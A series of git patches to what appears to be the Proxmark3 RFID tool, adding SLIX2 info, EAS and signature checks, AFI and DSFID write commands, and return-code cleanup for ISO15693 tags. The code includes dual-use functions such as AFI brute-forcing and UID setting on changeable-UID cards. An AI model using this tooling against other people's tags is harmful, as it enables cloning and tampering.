PrintAndLogEx(NORMAL, " * ENABLE PRIVACY command%s supported", (recv[5] & 0x10 ? "" : " not")); + PrintAndLogEx(NORMAL, " * DESTROY command%s supported", (recv[5] & 0x20 ? "" : " not")); + PrintAndLogEx(NORMAL, " * Additional 32 bits feature flags are%s transmitted", (recv[5] & 0x80 ? "" : " not")); + + if (easmode) { + reqlen = 0; + req[reqlen++] |= ISO15_REQ_SUBCARRIER_SINGLE | ISO15_REQ_DATARATE_HIGH | ISO15_REQ_NONINVENTORY | ISO15_REQ_ADDRESS; + req[reqlen++] = ISO15_CMD_EASALARM; + req[reqlen++] = 0x04; // IC manufacturer code + memcpy(req + 3, uid, 8); // add UID + reqlen += 8; + + AddCrc15(req, reqlen); + reqlen += 2; + + //PrintAndLogEx(NORMAL, "cmd %s", sprint_hex(req, reqlen) ); + + clearCommandBuffer(); + SendCommandOLD(CMD_HF_ISO15693_COMMAND, reqlen, arg1, 1, req, reqlen); + + if (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { + PrintAndLogEx(WARNING, "iso15693 card select failed"); + } else { + uint32_t status = resp.oldarg[0]; + + PrintAndLogEx(NORMAL, ""); + + if (status < 2) { + PrintAndLogEx(NORMAL, " EAS (Electronic Article Surveillance) is not active"); + } else { + recv = resp.data.asBytes; + + if (!(recv[0] & ISO15_RES_ERROR)) { + PrintAndLogEx(NORMAL, " EAS (Electronic Article Surveillance) is active."); + PrintAndLogEx(NORMAL, " EAS sequence: %s", sprint_hex(recv + 1, 32)); + } + } + } + } + + if (signature) { + // Check if we can also read the signature + reqlen = 0; + req[reqlen++] |= ISO15_REQ_SUBCARRIER_SINGLE | ISO15_REQ_DATARATE_HIGH | ISO15_REQ_NONINVENTORY | ISO15_REQ_ADDRESS; + req[reqlen++] = ISO15_CMD_READSIGNATURE; + req[reqlen++] = 0x04; // IC manufacturer code + memcpy(req + 3, uid, 8); // add UID + reqlen += 8; + + AddCrc15(req, reqlen); + reqlen += 2; + + //PrintAndLogEx(NORMAL, "cmd %s", sprint_hex(req, reqlen) ); + + clearCommandBuffer(); + SendCommandOLD(CMD_HF_ISO15693_COMMAND, reqlen, arg1, 1, req, reqlen); + + if (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { + PrintAndLogEx(WARNING, "iso15693 card select failed"); + return 1; + } + + uint32_t status = resp.oldarg[0]; + + if (status < 2) { + PrintAndLogEx(WARNING, "iso15693 card doesn't answer to READ SIGNATURE command"); + return 1; + } + + recv = resp.data.asBytes; + + if (recv[0] & ISO15_RES_ERROR) { + PrintAndLogEx(ERR, "iso15693 card returned error %i: %s", recv[0], TagErrorStr(recv[0])); + return 3; + } + + uint8_t signature[32] = {0x00}; + memcpy(signature, recv + 1, 32); + + int res = ecdsa_signature_r_s_verify(MBEDTLS_ECP_DP_SECP128R1, nxp_public_keys[0], uid, 8, signature, 32, false); + bool is_valid = (res == 0); + + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, " Tag Signature"); + PrintAndLogEx(NORMAL, " IC signature public key name : NXP ICODE SLIX2 / DNA"); + PrintAndLogEx(NORMAL, " IC signature public key value : %s", sprint_hex(nxp_public_keys[0], 33)); + PrintAndLogEx(NORMAL, " Elliptic curve parameters : NID_secp128r1"); + PrintAndLogEx(NORMAL, " TAG IC Signature : %s", sprint_hex(signature, 32)); + PrintAndLogEx(NORMAL, " Signature verification %s", (is_valid) ? _GREEN_("successful") : _RED_("failed")); + } + } + + return PM3_SUCCESS; +} + /** * Commandline handling: HF15 CMD SYSINFO * get system information from tag/VICC @@ -621,6 +818,7 @@ static int CmdHF15Info(const char *Cmd) { uint8_t arg1 = 1; char cmdbuf[100] = {0}; char *cmd = cmdbuf; + uint8_t uid[8] = {0, 0, 0, 0, 0, 0, 0, 0}; strncpy(cmd, Cmd, sizeof(cmdbuf) - 1); @@ -654,7 +852,9 @@ static int CmdHF15Info(const char *Cmd) { return 3; } - PrintAndLogEx(NORMAL, " UID : %s", sprintUID(NULL, recv + 2)); + memcpy(uid, recv + 2, sizeof(uid)); + + PrintAndLogEx(NORMAL, " UID : %s", sprintUID(NULL, uid)); PrintAndLogEx(NORMAL, " TYPE : %s", getTagInfo_15(recv + 2)); PrintAndLogEx(NORMAL, " SYSINFO : %s", sprint_hex(recv, status - 2)); @@ -685,8 +885,15 @@ static int CmdHF15Info(const char *Cmd) { } else { PrintAndLogEx(NORMAL, " - Tag does not provide information on memory layout"); } - PrintAndLogEx(NORMAL, "\n"); - return 0; + + // Check if SLIX2 and attempt to get NXP System Information + if (recv[8] == 0x04 && recv[7] == 0x01 && recv[4] & 0x80) { + return NxpSysInfo(uid); + } + + PrintAndLogEx(NORMAL, ""); + + return PM3_SUCCESS; } // Record Activity without enabling carrier @@ -730,7 +937,7 @@ static int CmdHF15Sim(const char *Cmd) { // finds the AFI (Application Family Identifier) of a card, by trying all values // (There is no standard way of reading the AFI, although some tags support this) // helptext -static int CmdHF15Afi(const char *Cmd) { +static int CmdHF15FindAfi(const char *Cmd) { char cmdp = tolower(param_getchar(Cmd, 0)); if (cmdp == 'h') return usage_15_findafi(); @@ -741,6 +948,118 @@ static int CmdHF15Afi(const char *Cmd) { return 0; } +// Writes the AFI (Application Family Identifier) of a card +static int CmdHF15WriteAfi(const char *Cmd) { + + char cmdp = param_getchar(Cmd, 0); + if (strlen(Cmd) < 3 || cmdp == 'h' || cmdp == 'H') return usage_15_writeafi(); + + PacketResponseNG resp; + uint8_t *recv; + + // arg: len, speed, recv? + // arg0 (datalen, cmd len? .arg0 == crc?) + // arg1 (speed == 0 == 1 of 256, == 1 == 1 of 4 ) + // arg2 (recv == 1 == expect a response) + uint8_t req[PM3_CMD_DATA_SIZE] = {0}; + uint16_t reqlen = 0; + uint8_t arg1 = 1; + int afinum; + char cmdbuf[100] = {0}; + char *cmd = cmdbuf; + strncpy(cmd, Cmd, sizeof(cmdbuf) - 1); + + if (!prepareHF15Cmd(&cmd, &reqlen, &arg1, req, ISO15_CMD_WRITEAFI)) + return 0; + + req[0] |= ISO15_REQ_OPTION; // Since we are writing + + afinum = strtol(cmd, NULL, 0); + + req[reqlen++] = (uint8_t)afinum; + + AddCrc15(req, reqlen); + reqlen += 2; + + //PrintAndLogEx(NORMAL, "cmd %s", sprint_hex(req, reqlen) ); + + clearCommandBuffer(); + SendCommandOLD(CMD_HF_ISO15693_COMMAND, reqlen, arg1, 1, req, reqlen); + + if (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { + PrintAndLogEx(NORMAL, "iso15693 card select failed"); + return 1; + } + + recv = resp.data.asBytes; + + if (recv[0] & ISO15_RES_ERROR) { + PrintAndLogEx(ERR, "iso15693 card returned error %i: %s", recv[0], TagErrorStr(recv[0])); + return 3; + } + + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(SUCCESS, "Wrote AFI 0x%02X", afinum); + + return PM3_SUCCESS; +} + +// Writes the DSFID (Data Storage Format Identifier) of a card +static int CmdHF15WriteDsfid(const char *Cmd) { + + char cmdp = param_getchar(Cmd, 0); + if (strlen(Cmd) < 3 || cmdp == 'h' || cmdp == 'H') return usage_15_writedsfid(); + + PacketResponseNG resp; + uint8_t *recv; + + // arg: len, speed, recv? + // arg0 (datalen, cmd len? .arg0 == crc?) + // arg1 (speed == 0 == 1 of 256, == 1 == 1 of 4 ) + // arg2 (recv == 1 == expect a response) + uint8_t req[PM3_CMD_DATA_SIZE] = {0}; + uint16_t reqlen = 0; + uint8_t arg1 = 1; + int dsfidnum; + char cmdbuf[100] = {0}; + char *cmd = cmdbuf; + strncpy(cmd, Cmd, sizeof(cmdbuf) - 1); + + if (!prepareHF15Cmd(&cmd, &reqlen, &arg1, req, ISO15_CMD_WRITEDSFID)) + return 0; + + req[0] |= ISO15_REQ_OPTION; // Since we are writing + + dsfidnum = strtol(cmd, NULL, 0); + + req[reqlen++] = (uint8_t)dsfidnum; + + AddCrc15(req, reqlen); + reqlen += 2; + + //PrintAndLogEx(NORMAL, "cmd %s", sprint_hex(req, reqlen) ); + + clearCommandBuffer(); + SendCommandOLD(CMD_HF_ISO15693_COMMAND, reqlen, arg1, 1, req, reqlen); + + if (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { + PrintAndLogEx(NORMAL, "iso15693 card select failed"); + return 1; + } + + recv = resp.data.asBytes; + + if (recv[0] & ISO15_RES_ERROR) { + PrintAndLogEx(ERR, "iso15693 card returned error %i: %s", recv[0], TagErrorStr(recv[0])); + return 3; + } + + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(SUCCESS, "Wrote DSFID 0x%02X", dsfidnum); + + return PM3_SUCCESS; +} + typedef struct { uint8_t lock; uint8_t block[4]; @@ -871,8 +1190,7 @@ static int CmdHF15List(const char *Cmd) { /* // Record Activity without enabling carrier -static int CmdHF15Sniff(const char *Cmd) -{ +static int CmdHF15Sniff(const char *Cmd) { clearCommandBuffer(); SendCommandNG(CMD_HF_ISO15693_SNIFF, NULL, 0); return PM3_SUCCESS; @@ -1407,7 +1725,9 @@ static command_t CommandTable[] = { {"help", CmdHF15Help, AlwaysAvailable, "This help"}, {"demod", CmdHF15Demod, AlwaysAvailable, "Demodulate ISO15693 from tag"}, {"dump", CmdHF15Dump, IfPm3Iso15693, "Read all memory pages of an ISO15693 tag, save to file"}, - {"findafi", CmdHF15Afi, IfPm3Iso15693, "Brute force AFI of an ISO15693 tag"}, + {"findafi", CmdHF15FindAfi, IfPm3Iso15693, "Brute force AFI of an ISO15693 tag"}, + {"writeafi", CmdHF15WriteAfi, IfPm3Iso15693, "Writes the AFI on an ISO15693 tag"}, + {"writedsfid", CmdHF15WriteDsfid, IfPm3Iso15693, "Writes the DSFID on an ISO15693 tag"}, {"info", CmdHF15Info, IfPm3Iso15693, "Tag information"}, // {"sniff", CmdHF15Sniff, IfPm3Iso15693, "Sniff ISO15693 traffic"}, {"list", CmdHF15List, AlwaysAvailable, "List ISO15693 history"}, From cef28ad2416babef558e8ebd1c329b55bf616647 Mon Sep 17 00:00:00 2001 From: unknown Date: Tue, 26 Nov 2019 22:11:02 +0200 Subject: [PATCH 017/418] HF15 cmds return codes and dropfield where needed --- client/cmdhf.c | 5 +- client/cmdhf15.c | 152 ++++++++++++++++++++++++++++------------------- client/cmdhf15.h | 2 +- 3 files changed, 94 insertions(+), 65 deletions(-) diff --git a/client/cmdhf.c b/client/cmdhf.c index dd21c2649..7a1aaa868 100644 --- a/client/cmdhf.c +++ b/client/cmdhf.c @@ -100,13 +100,10 @@ int CmdHFSearch(const char *Cmd) { PROMPT_CLEARLINE; PrintAndLogEx(INPLACE, "Searching for ISO15693 tag..."); if (IfPm3Iso15693()) { - if (readHF15Uid(false) == 1) { + if (readHF15Uid(false)) { PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("ISO15693 tag") " found\n"); - DropField(); return PM3_SUCCESS; } - // until refactoring of ISO15693 cmds, this is needed. - DropField(); } PROMPT_CLEARLINE; diff --git a/client/cmdhf15.c b/client/cmdhf15.c index 52756215b..5a69c1343 100644 --- a/client/cmdhf15.c +++ b/client/cmdhf15.c @@ -218,10 +218,10 @@ uint8_t nxp_public_keys[][33] = { }, }; -// fast method to just read the UID of a tag (collission detection not supported) +// fast method to just read the UID of a tag (collision detection not supported) // *buf should be large enough to fit the 64bit uid -// returns 1 if suceeded -static int getUID(uint8_t *buf) { +// returns 1 if succeeded +static bool getUID(uint8_t *buf) { PacketResponseNG resp; uint8_t data[5]; @@ -244,12 +244,14 @@ static int getUID(uint8_t *buf) { uint8_t resplen = resp.oldarg[0]; if (resplen >= 12 && CheckCrc15(resp.data.asBytes, 12)) { memcpy(buf, resp.data.asBytes + 2, 8); - return 1; + DropField(); + return true; } } } // retry - return PM3_SUCCESS; + DropField(); + return false; } // get a product description based on the UID @@ -284,7 +286,7 @@ static const char *TagErrorStr(uint8_t error) { case 0x01: return "The command is not supported"; case 0x02: - return "The command is not recognised"; + return "The command is not recognized"; case 0x03: return "The option is not supported."; case 0x0f: @@ -469,7 +471,7 @@ static int usage_15_csetuid(void) { * Parameters: * **cmd command line */ -static int prepareHF15Cmd(char **cmd, uint16_t *reqlen, uint8_t *arg1, uint8_t *req, uint8_t iso15cmd) { // reqlen arg0 +static bool prepareHF15Cmd(char **cmd, uint16_t *reqlen, uint8_t *arg1, uint8_t *req, uint8_t iso15cmd) { // reqlen arg0 int temp; uint8_t uid[8] = {0x00}; uint32_t tmpreqlen = 0; @@ -496,7 +498,7 @@ static int prepareHF15Cmd(char **cmd, uint16_t *reqlen, uint8_t *arg1, uint8_t * switch (**cmd) { case 0: PrintAndLogEx(WARNING, "missing addr"); - return 0; + return false; break; case 'u': case 'U': @@ -511,7 +513,7 @@ static int prepareHF15Cmd(char **cmd, uint16_t *reqlen, uint8_t *arg1, uint8_t * if (!getUID(uid)) { PrintAndLogEx(WARNING, "No tag found"); - return 0; + return false; } memcpy(&req[tmpreqlen], uid, sizeof(uid)); PrintAndLogEx(NORMAL, "Detected UID %s", sprintUID(NULL, uid)); @@ -538,7 +540,7 @@ static int prepareHF15Cmd(char **cmd, uint16_t *reqlen, uint8_t *arg1, uint8_t * while (**cmd == ' ' || **cmd == '\t')(*cmd)++; *reqlen = tmpreqlen; - return 1; + return true; } // Mode 3 @@ -552,7 +554,7 @@ static int CmdHF15Demod(const char *Cmd) { int max = 0, maxPos = 0; int skip = 4; - if (GraphTraceLen < 1000) return 0; + if (GraphTraceLen < 1000) return PM3_ESOFT; // First, correlate for SOF for (i = 0; i < 1000; i++) { @@ -618,7 +620,7 @@ static int CmdHF15Demod(const char *Cmd) { PrintAndLogEx(NORMAL, "# %2d: %02x ", i, outBuf[i]); PrintAndLogEx(NORMAL, "CRC %04x", Crc15(outBuf, k - 2)); - return 0; + return PM3_SUCCESS; } // * Acquire Samples as Reader (enables carrier, sends inquiry) @@ -631,7 +633,7 @@ static int CmdHF15Samples(const char *Cmd) { SendCommandNG(CMD_HF_ISO15693_ACQ_RAW_ADC, NULL, 0); getSamples(0, false); - return 0; + return PM3_SUCCESS; } // Get NXP system information from SLIX2 tag/VICC @@ -660,21 +662,24 @@ static int NxpSysInfo(uint8_t *uid) { if (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { PrintAndLogEx(WARNING, "iso15693 card select failed"); - return 1; + DropField(); + return PM3_ETIMEOUT; } + DropField(); + uint32_t status = resp.oldarg[0]; if (status < 2) { PrintAndLogEx(WARNING, "iso15693 card doesn't answer to NXP systeminfo command"); - return 1; + return PM3_EWRONGANSVER; } recv = resp.data.asBytes; if (recv[0] & ISO15_RES_ERROR) { PrintAndLogEx(ERR, "iso15693 card returned error %i: %s", recv[0], TagErrorStr(recv[0])); - return 3; + return PM3_EWRONGANSVER; } bool signature = false; @@ -766,21 +771,24 @@ static int NxpSysInfo(uint8_t *uid) { if (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { PrintAndLogEx(WARNING, "iso15693 card select failed"); - return 1; + DropField(); + return PM3_ETIMEOUT; } + DropField(); + uint32_t status = resp.oldarg[0]; if (status < 2) { PrintAndLogEx(WARNING, "iso15693 card doesn't answer to READ SIGNATURE command"); - return 1; + return PM3_EWRONGANSVER; } recv = resp.data.asBytes; if (recv[0] & ISO15_RES_ERROR) { PrintAndLogEx(ERR, "iso15693 card returned error %i: %s", recv[0], TagErrorStr(recv[0])); - return 3; + return PM3_EWRONGANSVER; } uint8_t signature[32] = {0x00}; @@ -823,7 +831,7 @@ static int CmdHF15Info(const char *Cmd) { strncpy(cmd, Cmd, sizeof(cmdbuf) - 1); if (!prepareHF15Cmd(&cmd, &reqlen, &arg1, req, ISO15_CMD_SYSINFO)) - return 0; + return PM3_SUCCESS; AddCrc15(req, reqlen); reqlen += 2; @@ -835,21 +843,24 @@ static int CmdHF15Info(const char *Cmd) { if (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { PrintAndLogEx(WARNING, "iso15693 card select failed"); - return 1; + DropField(); + return PM3_ETIMEOUT; } + DropField(); + uint32_t status = resp.oldarg[0]; if (status < 2) { PrintAndLogEx(WARNING, "iso15693 card doesn't answer to systeminfo command"); - return 1; + return PM3_EWRONGANSVER; } recv = resp.data.asBytes; if (recv[0] & ISO15_RES_ERROR) { PrintAndLogEx(ERR, "iso15693 card returned error %i: %s", recv[0], TagErrorStr(recv[0])); - return 3; + return PM3_EWRONGANSVER; } memcpy(uid, recv + 2, sizeof(uid)); @@ -904,7 +915,7 @@ static int CmdHF15Record(const char *Cmd) { clearCommandBuffer(); SendCommandNG(CMD_HF_ISO15693_RAWADC, NULL, 0); - return 0; + return PM3_SUCCESS; } static int CmdHF15Reader(const char *Cmd) { @@ -912,7 +923,7 @@ static int CmdHF15Reader(const char *Cmd) { if (cmdp == 'h') return usage_15_reader(); readHF15Uid(true); - return 0; + return PM3_SUCCESS; } // Simulation is still not working very good @@ -924,14 +935,14 @@ static int CmdHF15Sim(const char *Cmd) { uint8_t uid[8] = {0, 0, 0, 0, 0, 0, 0, 0}; if (param_gethex(Cmd, 0, uid, 16)) { PrintAndLogEx(WARNING, "UID must include 16 HEX symbols"); - return 0; + return PM3_EINVARG; } PrintAndLogEx(SUCCESS, "Starting simulating UID %s", sprint_hex(uid, sizeof(uid))); clearCommandBuffer(); SendCommandOLD(CMD_HF_ISO15693_SIMULATE, 0, 0, 0, uid, 8); - return 0; + return PM3_SUCCESS; } // finds the AFI (Application Family Identifier) of a card, by trying all values @@ -945,7 +956,8 @@ static int CmdHF15FindAfi(const char *Cmd) { clearCommandBuffer(); SendCommandMIX(CMD_HF_ISO15693_FINDAFI, strtol(Cmd, NULL, 0), 0, 0, NULL, 0); - return 0; + DropField(); + return PM3_SUCCESS; } // Writes the AFI (Application Family Identifier) of a card @@ -970,7 +982,7 @@ static int CmdHF15WriteAfi(const char *Cmd) { strncpy(cmd, Cmd, sizeof(cmdbuf) - 1); if (!prepareHF15Cmd(&cmd, &reqlen, &arg1, req, ISO15_CMD_WRITEAFI)) - return 0; + return PM3_SUCCESS; req[0] |= ISO15_REQ_OPTION; // Since we are writing @@ -988,14 +1000,17 @@ static int CmdHF15WriteAfi(const char *Cmd) { if (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { PrintAndLogEx(NORMAL, "iso15693 card select failed"); - return 1; + DropField(); + return PM3_ETIMEOUT; } + DropField(); + recv = resp.data.asBytes; if (recv[0] & ISO15_RES_ERROR) { PrintAndLogEx(ERR, "iso15693 card returned error %i: %s", recv[0], TagErrorStr(recv[0])); - return 3; + return PM3_EWRONGANSVER; } PrintAndLogEx(NORMAL, ""); @@ -1026,7 +1041,7 @@ static int CmdHF15WriteDsfid(const char *Cmd) { strncpy(cmd, Cmd, sizeof(cmdbuf) - 1); if (!prepareHF15Cmd(&cmd, &reqlen, &arg1, req, ISO15_CMD_WRITEDSFID)) - return 0; + return PM3_SUCCESS; req[0] |= ISO15_REQ_OPTION; // Since we are writing @@ -1044,14 +1059,17 @@ static int CmdHF15WriteDsfid(const char *Cmd) { if (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { PrintAndLogEx(NORMAL, "iso15693 card select failed"); - return 1; + DropField(); + return PM3_ETIMEOUT; } + DropField(); + recv = resp.data.asBytes; if (recv[0] & ISO15_RES_ERROR) { PrintAndLogEx(ERR, "iso15693 card returned error %i: %s", recv[0], TagErrorStr(recv[0])); - return 3; + return PM3_EWRONGANSVER; } PrintAndLogEx(NORMAL, ""); @@ -1096,7 +1114,7 @@ static int CmdHF15Dump(const char *Cmd) { if (!getUID(uid)) { PrintAndLogEx(WARNING, "No tag found."); - return 1; + return PM3_ESOFT; } if (fileNameLen < 1) { @@ -1166,6 +1184,9 @@ static int CmdHF15Dump(const char *Cmd) { fflush(stdout); } } + + DropField(); + PrintAndLogEx(NORMAL, "\n"); PrintAndLogEx(NORMAL, "block# | data |lck| ascii"); @@ -1229,7 +1250,7 @@ static int CmdHF15Raw(const char *Cmd) { break; default: PrintAndLogEx(WARNING, "Invalid option"); - return 0; + return PM3_EINVARG; } i += 2; continue; @@ -1250,7 +1271,7 @@ static int CmdHF15Raw(const char *Cmd) { continue; } PrintAndLogEx(WARNING, "Invalid char on input"); - return 0; + return PM3_EINVARG; } if (crc) { @@ -1270,6 +1291,8 @@ static int CmdHF15Raw(const char *Cmd) { PrintAndLogEx(WARNING, "timeout while waiting for reply."); } } + + DropField(); return PM3_SUCCESS; } @@ -1293,7 +1316,7 @@ static int CmdHF15Readmulti(const char *Cmd) { strncpy(cmd, Cmd, sizeof(cmdbuf) - 1); if (!prepareHF15Cmd(&cmd, &reqlen, &arg1, req, ISO15_CMD_READMULTI)) - return 0; + return PM3_SUCCESS; // add OPTION flag, in order to get lock-info req[0] |= ISO15_REQ_OPTION; @@ -1318,25 +1341,28 @@ static int CmdHF15Readmulti(const char *Cmd) { if (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { PrintAndLogEx(FAILED, "iso15693 card select failed"); - return 1; + DropField(); + return PM3_ETIMEOUT; } + DropField(); + uint32_t status = resp.oldarg[0]; if (status < 2) { PrintAndLogEx(FAILED, "iso15693 card select failed"); - return 1; + return PM3_EWRONGANSVER; } recv = resp.data.asBytes; if (!CheckCrc15(recv, status)) { PrintAndLogEx(FAILED, "CRC failed"); - return 2; + return PM3_ESOFT; } if (recv[0] & ISO15_RES_ERROR) { PrintAndLogEx(FAILED, "iso15693 card returned error %i: %s", recv[0], TagErrorStr(recv[0])); - return 3; + return PM3_EWRONGANSVER; } int start = 1; // skip status byte @@ -1379,7 +1405,7 @@ static int CmdHF15Read(const char *Cmd) { strncpy(cmd, Cmd, sizeof(cmdbuf) - 1); if (!prepareHF15Cmd(&cmd, &reqlen, &arg1, req, ISO15_CMD_READ)) - return 0; + return PM3_SUCCESS; // add OPTION flag, in order to get lock-info req[0] |= ISO15_REQ_OPTION; @@ -1396,25 +1422,28 @@ static int CmdHF15Read(const char *Cmd) { if (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { PrintAndLogEx(NORMAL, "iso15693 card select failed"); - return 1; + DropField(); + return PM3_ETIMEOUT; } + DropField(); + uint32_t status = resp.oldarg[0]; if (status < 2) { PrintAndLogEx(NORMAL, "iso15693 card select failed"); - return 1; + return PM3_EWRONGANSVER; } recv = resp.data.asBytes; if (!CheckCrc15(recv, status)) { PrintAndLogEx(NORMAL, "CRC failed"); - return 2; + return PM3_ESOFT; } if (recv[0] & ISO15_RES_ERROR) { PrintAndLogEx(ERR, "iso15693 card returned error %i: %s", recv[0], TagErrorStr(recv[0])); - return 3; + return PM3_EWRONGANSVER; } // print response @@ -1448,7 +1477,7 @@ static int CmdHF15Write(const char *Cmd) { strncpy(cmd, Cmd, sizeof(cmdbuf) - 1); if (!prepareHF15Cmd(&cmd, &reqlen, &arg1, req, ISO15_CMD_WRITE)) - return 0; + return PM3_SUCCESS; // *cmd -> page num ; *cmd2 -> data cmd2 = cmd; @@ -1479,25 +1508,28 @@ static int CmdHF15Write(const char *Cmd) { if (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { PrintAndLogEx(FAILED, "iso15693 card timeout, data may be written anyway"); - return 1; + DropField(); + return PM3_ETIMEOUT; } + DropField(); + uint32_t status = resp.oldarg[0]; if (status < 2) { PrintAndLogEx(FAILED, "iso15693 card select failed"); - return 1; + return PM3_EWRONGANSVER; } recv = resp.data.asBytes; if (!CheckCrc15(recv, status)) { PrintAndLogEx(FAILED, "CRC failed"); - return 2; + return PM3_ESOFT; } if (recv[0] & ISO15_RES_ERROR) { PrintAndLogEx(NORMAL, "iso15693 card returned error %i: %s", recv[0], TagErrorStr(recv[0])); - return 3; + return PM3_EWRONGANSVER; } PrintAndLogEx(NORMAL, "OK"); @@ -1568,13 +1600,13 @@ static int CmdHF15Restore(const char *Cmd) { if ((f = fopen(filename, "rb")) == NULL) { PrintAndLogEx(WARNING, "Could not find file %s", filename); - return 2; + return PM3_EFILE; } if (!getUID(uid)) { PrintAndLogEx(WARNING, "No tag found"); fclose(f); - return 3; + return PM3_ESOFT; } PrintAndLogEx(INFO, "Restoring data blocks."); @@ -1592,7 +1624,7 @@ static int CmdHF15Restore(const char *Cmd) { } else if (bytes_read != blocksize) { PrintAndLogEx(ERR, "File reading error (%s), %zu bytes read instead of %zu bytes.", filename, bytes_read, blocksize); fclose(f); - return 2; + return PM3_EFILE; } for (int j = 0; j < blocksize; j++) @@ -1640,12 +1672,12 @@ static int CmdHF15CSetUID(const char *Cmd) { if (param_gethex(Cmd, 0, uid, 16)) { PrintAndLogEx(WARNING, "UID must include 16 HEX symbols"); - return 1; + return PM3_EINVARG; } if (uid[0] != 0xe0) { PrintAndLogEx(WARNING, "UID must begin with the byte " _YELLOW_("E0")); - return 1; + return PM3_EINVARG; } PrintAndLogEx(SUCCESS, "new UID | %s", sprint_hex(uid, sizeof(uid))); @@ -1756,14 +1788,14 @@ int CmdHF15(const char *Cmd) { } // used with 'hf search' -int readHF15Uid(bool verbose) { +bool readHF15Uid(bool verbose) { uint8_t uid[8] = {0, 0, 0, 0, 0, 0, 0, 0}; if (!getUID(uid)) { if (verbose) PrintAndLogEx(WARNING, "No tag found."); - return 0; + return false; } PrintAndLogEx(NORMAL, " UID : %s", sprintUID(NULL, uid)); PrintAndLogEx(NORMAL, " TYPE : %s", getTagInfo_15(uid)); - return 1; + return true; } diff --git a/client/cmdhf15.h b/client/cmdhf15.h index b3f64ac70..81530a58c 100644 --- a/client/cmdhf15.h +++ b/client/cmdhf15.h @@ -15,6 +15,6 @@ int CmdHF15(const char *Cmd); -int readHF15Uid(bool verbose); +bool readHF15Uid(bool verbose); #endif From 931d115ef8f237c966c24cb67972b6edde7fb782 Mon Sep 17 00:00:00 2001 From: unknown Date: Wed, 27 Nov 2019 15:11:43 +0200 Subject: [PATCH 018/418] HF15FindAfi now uses reply_ng and added LeaveFieldOn option for HF15Raw --- CHANGELOG.md | 1 + armsrc/iso15693.c | 8 ++++++++ client/cmdhf15.c | 20 +++++++++++++++++--- 3 files changed, 26 insertions(+), 3 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 16354bcac..8b4ff5dcc 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] + - Added `hf 15 writeafi`, `hf 15 writedsfid` and detailed info for SLIX2 tags in `hf 15 info`. Also did some refactoring in HF15 commands. (@grspy) - Fix hf list felica and hf felica sniff (@7homasSutter) - Added hf felica wrunencrypted (@7homasSutter) - Added hf felica rdunencrypted (@7homasSutter) diff --git a/armsrc/iso15693.c b/armsrc/iso15693.c index f1fd3eb9c..3dc64b8b8 100644 --- a/armsrc/iso15693.c +++ b/armsrc/iso15693.c @@ -929,6 +929,7 @@ void BruteforceIso15693Afi(uint32_t speed) { uint8_t buf[ISO15_MAX_FRAME]; memset(buf, 0x00, sizeof(buf)); int datalen = 0, recvlen = 0; + bool aborted = false; Iso15693InitReader(); @@ -968,12 +969,19 @@ void BruteforceIso15693Afi(uint32_t speed) { if (BUTTON_PRESS()) { DbpString("button pressed, aborting.."); + aborted = true; break; } } DbpString("AFI Bruteforcing done."); switch_off(); + + if (aborted) { + reply_ng(CMD_ACK, PM3_EOPABORTED, NULL, 0); + } else { + reply_ng(CMD_ACK, PM3_SUCCESS, NULL, 0); + } } // Allows to directly send commands to the tag via the client diff --git a/client/cmdhf15.c b/client/cmdhf15.c index 5a69c1343..8dba0d565 100644 --- a/client/cmdhf15.c +++ b/client/cmdhf15.c @@ -412,6 +412,7 @@ static int usage_15_raw(void) { {"-r", "do not read response" }, {"-2", "use slower '1 out of 256' mode" }, {"-c", "calculate and append CRC" }, + {"-p", "leave the signal field ON" }, {"", "Tip: turn on debugging for verbose output"}, }; PrintAndLogEx(NORMAL, "Usage: hf 15 raw [-r] [-2] [-c] <0A 0B 0C ... hex>\n"); @@ -949,6 +950,7 @@ static int CmdHF15Sim(const char *Cmd) { // (There is no standard way of reading the AFI, although some tags support this) // helptext static int CmdHF15FindAfi(const char *Cmd) { + PacketResponseNG resp; char cmdp = tolower(param_getchar(Cmd, 0)); if (cmdp == 'h') return usage_15_findafi(); @@ -956,8 +958,14 @@ static int CmdHF15FindAfi(const char *Cmd) { clearCommandBuffer(); SendCommandMIX(CMD_HF_ISO15693_FINDAFI, strtol(Cmd, NULL, 0), 0, 0, NULL, 0); + + if (WaitForResponseTimeout(CMD_ACK, &resp, 120000)) { // 2 minutes should be enough + DropField(); + return resp.status; // PM3_EOPABORTED or PM3_SUCCESS + } + DropField(); - return PM3_SUCCESS; + return PM3_ETIMEOUT; } // Writes the AFI (Application Family Identifier) of a card @@ -1225,7 +1233,7 @@ static int CmdHF15Raw(const char *Cmd) { PacketResponseNG resp; int reply = 1, fast = 1, i = 0; - bool crc = false; + bool crc = false, leaveSignalON = false; char buf[5] = ""; uint8_t data[100]; uint32_t datalen = 0, temp; @@ -1248,6 +1256,10 @@ static int CmdHF15Raw(const char *Cmd) { case 'C': crc = true; break; + case 'p': + case 'P': + leaveSignalON = true; + break; default: PrintAndLogEx(WARNING, "Invalid option"); return PM3_EINVARG; @@ -1292,7 +1304,9 @@ static int CmdHF15Raw(const char *Cmd) { } } - DropField(); + if (!leaveSignalON) + DropField(); + return PM3_SUCCESS; } From ecaf91936563579f0d9a9afbeda4519d86f52267 Mon Sep 17 00:00:00 2001 From: unknown Date: Wed, 27 Nov 2019 21:14:31 +0200 Subject: [PATCH 019/418] Hf15FindAfi WaitForResponse loop --- CHANGELOG.md | 4 +++- armsrc/iso15693.c | 5 +++-- 